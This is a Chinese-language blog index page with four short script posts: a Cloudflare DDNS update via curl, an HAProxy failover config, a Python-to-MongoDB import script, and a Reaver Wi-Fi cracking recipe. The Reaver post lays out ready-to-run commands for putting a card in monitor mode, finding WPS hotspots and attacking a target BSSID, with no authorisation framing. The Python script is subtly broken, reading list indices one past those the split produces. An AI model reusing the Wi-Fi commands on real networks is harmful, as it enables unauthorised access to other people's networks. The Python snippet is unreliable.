小程序小腳本

用 cURL 自動更新 Cloudflare IP 地址實現 DDNS

February 3, 2020
家居 & 辦公網絡, 小程序小腳本

用 cURL 自動更新 Cloudflare IP 地址實現 DDNS # 授權 # 這種涉及賬戶的請求肯定需要授權,首先登錄自己的 Cloudflare 帳號,然後在「My Profile」創建一個「API Token」(不是底下的 API Key 哦),並且加入 Zone.Zone, Zone.DNS 的權限。 然後就有 -H “Authorization: Bearer xxxxxxxx” 這個的用法了,下面只需要使用這個就好了。 獲得 ZoneID 和 Record ID # 先拿到自己的所有的 Zones,找到自己對應域名的 Zone ID: curl -X GET "https://api.cloudflare.com/client/v4/zones" -H "Authorization: Bearer xxxxxxxx" -H "Content-Type:application/json" 然後找到對應的 Record 的 ID: curl -X GET "https://api.cloudflare.com/client/v4/zones/<域名的 ZoneID>/dns\_records" -H "Authorization: Bearer xxxxxxx" -H "Content-Type:application/json" 修改 Record 解析 # 然後就可以通過如下來修改自己的 DNS 解析了,比如我希望修改 home. ...

Crack Wi-Fi Password with Reaver

May 23, 2019
小程序小腳本

Crack Wi-Fi Password with Reaver # We need to switch our device into monitor mode, with airmon-ng. sudo airmon-ng start wlan0 Then list the nearby hotspots with wash.(Using channel 11 in example) sudo wash -i wlan0mon -c 11 -C -s Specify the targeted BSSID and execute the attack. sudo reaver -i wlan0mon -b xx:15:xx:8B:xx:34 --fail-wait=360

HA Proxy Set multiple Backends

April 1, 2019
HAProxy, 小程序小腳本

HA Proxy Set multiple Backends # 用來在多個後端之中分配流量,HA Proxy 沒有想像中的那麼難用。 frontend proxy-in mode tcp bind 0.0.0.0:2048 option tcplog default\_backend proxy-out backend proxy-out mode tcp option tcplog option tcp-check balance roundrobin server s-01 s1.nova.moe:2048 check inter 5s fall 3 rise 10 server s-02 s2.nova.moe:2048 check backup server s-03 s3.nova.moe:2048 check backup 這樣會在 s-01 掉線的時候自動切換到 s-02 啦~

用 Python 将文本文件传存到 MongoDB

March 14, 2019
小程序小腳本

用 Python 将文本文件传存到 MongoDB # 之前有一些文件使用的是 “|” 分割的,類似如下: Python|Language|Dynamic 需要轉移到 MongoDB 中,Python 腳本如下: import pymongo import os client = pymongo.MongoClient("mongodb://localhost:27017") mydb = client\["language\_db"\] mytable = mydb\["language\_info"\] with open('infos') as f: file\_data = f.readlines() file\_info\_list = \[\] for item in file\_data: dl = item.split('|') d = dict() d\['language\_name'\] = dl\[1\] d\['language'\] = dl\[2\] d\['language\_type'\] = dl\[3\] file\_info\_list.append(d) x = mytable.insert\_many(file\_info\_list) 之後還有多字段查詢啥的以後慢慢更新了~